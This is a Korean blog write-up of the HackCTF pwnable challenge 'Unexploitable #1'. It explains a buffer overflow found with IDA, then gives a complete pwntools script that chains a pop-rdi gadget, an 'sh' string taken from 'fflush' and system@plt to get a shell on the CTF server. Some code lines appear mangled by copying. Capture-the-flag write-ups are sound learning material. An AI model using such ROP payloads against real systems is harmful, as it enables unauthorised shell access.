HACKCTF - Unexploitable #1

2020. 9. 13. 22:23CTF's Write-up

문제화면

 

 

문제화면입니다.

해당 문제를 실행시켜보면

 

 

실행화면

 

출력하나시키고, 입력하다받고 끝나내요. 아마 입력부분이서 취약점이 존재할 것 같습니다.

IDA를 통해 이 부분을 확인해보면

 

 

ida main

 

 

변수보다 fgets에서 읽어들이는 사이즈가 더 크니 BOF취약점이 발생하게 됩니다.

 

보호기법

 

보호기법을 확인하면 leak한 후에 ROP를 통해 shell을 획득할 수도 있을 것 같은데.

 

ida gift

 

system가젯을 일부러 준 친절하신 출제자와,

 

 

string

 

string부분을 보면 있는 fflush부분에서 sh부분만 추출 해 오면 되니

 

 

ida

 

이 부분을 활용해주면 ex가 가능할 것 같습니다.

 

payload는 아래와 같습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3023)
= ELF("./Unexploitable_1")
 
system_plt = e.plt['system']
sh = 0x4003BB+0x4
pr = 0x00000000004007d3
 
context.log_level = "debug"
 
payload = ""
payload += "A"*0x10
payload += "A"*0x8
payload += p64(pr)
payload += p64(sh)
payload += p64(system_plt)
 
r.recvuntil("!\n")
 
r.sendline(payload)
r.interactive()
 
cs

 

 

이를 실행하면

 

 

실행화면

 

flag획득이 가능합니다.

'CTF's Write-up' 카테고리의 다른 글

DreamHack - cookie  (0) 2020.09.15
HACKCTF - SysROP  (0) 2020.09.15
HACKCTF - ROP  (0) 2020.09.13
[보호]HACKCTF - LOL  (0) 2020.09.09
HACKCTF - Random Key  (0) 2020.09.08